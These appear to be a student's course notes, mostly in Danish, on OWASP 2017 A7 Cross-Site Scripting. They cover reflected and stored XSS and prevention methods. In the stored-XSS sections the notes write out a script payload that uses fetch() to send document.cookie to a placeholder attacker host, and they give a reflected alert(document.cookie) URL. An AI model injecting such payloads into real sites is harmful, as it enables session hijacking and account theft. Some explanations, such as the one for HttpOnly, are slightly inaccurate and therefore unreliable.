Week 12 A7-Cross-Site Scripting (XSS)

Explain the "sections" "Is the Application Vulnerable" and "How to Prevent" for the OWASP 2017 Risks: A7

Is the application vulnerable:

- **Reflected XXS**
  - her bliver dataen ikke gemt i database. Her skulle der f.eks. bruges et link som en anden skulle trykke på før det var at der skulle kunne ses noget.
- **Stored XXS**
  - Her bliver dataen gemt i databasen. Man kunne anvende script tags på en måde så at man ville kunne modtage andres session id'er. Herfra ville man have en server sat op til at lytte efter de kald der bliver sendt.
  - ex. bruger<script>
    fetch("http://en_eller_anden_ip:en_port/evil?cookie="+document.cookie);
    </script>

How to prevent:

- Brug frameworks der forhindrer XXS.
- behandle data inden

en af de ting der er godt at bruge er HttpOnly tagget som gør at det kun er browseren der kan udstede cookies, og at man ikke selv som bruger kan gå ind og lave ændringer på cookiesne.

Herudover er det en god idé at lave en whitelist, altså en liste af de ting man godt må bruge på en side, således sikrer du dig at alt andet ikke er tilladt. man kan også lave en blacklist, og sige hvad der ikke er tilladt, dog er det sværere at holde overblik over det, og der er en god chance for at man glemmer noget.

Explain about cross-site Scripting and:

- **Demonstrate a simple reflected XSS example**
- **what will it take to make a reflected attack "serious" (Social Engineering)?**

Et reflected xss angreb består af links til sikre sider, men tilsendt med skadelig javascript.
Typisk så kræver det at et offer trykker på de links som der bliver sendt - men det sker ofte da de ser det er den korrekte side.

ex. http://www.dat-security.dk/xss/SearchDemo?searchterm=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
i dette eksempel ville en bruger være påkrævet til at være logget ind først, ellers skal linket være trykket på to gange.

Explain and Demonstrate a stored XSS attack with session hijacking and a subsequent attack using the "stolen" session ID

Stored XXS angreb består når man kan tilføje scripts til databasen. Dette ville for eksempel være en side der gemmer brugernavne i en database, og derefter viser dem i en liste på siden. Problemet ved dette ville være hvis der var gemt et brugernavn med et <script> i sig.

Man kunne dermed skrive et script der loader hver gang en bruger loader ind på en side og sender alt deres data (kunne være deres session ID) til en anden database ejet af hackeren, som nu har adgang til de session ID'er.

```
<script>
fetch("http://XXXX:666/evil?cookie="+document.cookie);
</script>
```

Hvor xxx er en IP til en server man selv har sat op der gemmer cookie.
hurtigt setup til en sådan server:
https://docs.google.com/document/d/1sGegv6K4DeDuTAmXMhepzAaeDfDjIqWNIpj-jLL-kcI/edit

What kind of "indications" will an attacker look for in a WEB-page before testing whether the site is vulnerable to XSS-attacks?

En af de indikatorer som en hacker ville lede efter var hvis man kunne give input til en side og at den ville display/gemme det som plain tekst, og derefter ikke blive håndteret ordentligt af websiden.

Explain and demonstrate ways to prevent XSS-attacks

Den abselout bedste måde at håndtere xss angreb er ved brug af et anerkendt library der håndterer det. Hvis man selv håndterer det, kan der være huller som en hacker kan udnytte.

Explain the terms *HTML Sanitizer* and *HTML Encoder* and their purposes

Sanitization er en process hvor man undersøger HTML dokumentet og danner et nyt hvor kun sikre og ønskede tags forbliver. Denne vil f.eks fjerne <script> tags, samt potentielle farlige attributter. Typisk vil denne proces køres med en whitelist eller blacklist. Det betyder vel at mærke, at disse lister skal opdateres, da det ellers vil efterlade risici,hvis nye features introduceres til HTML standard.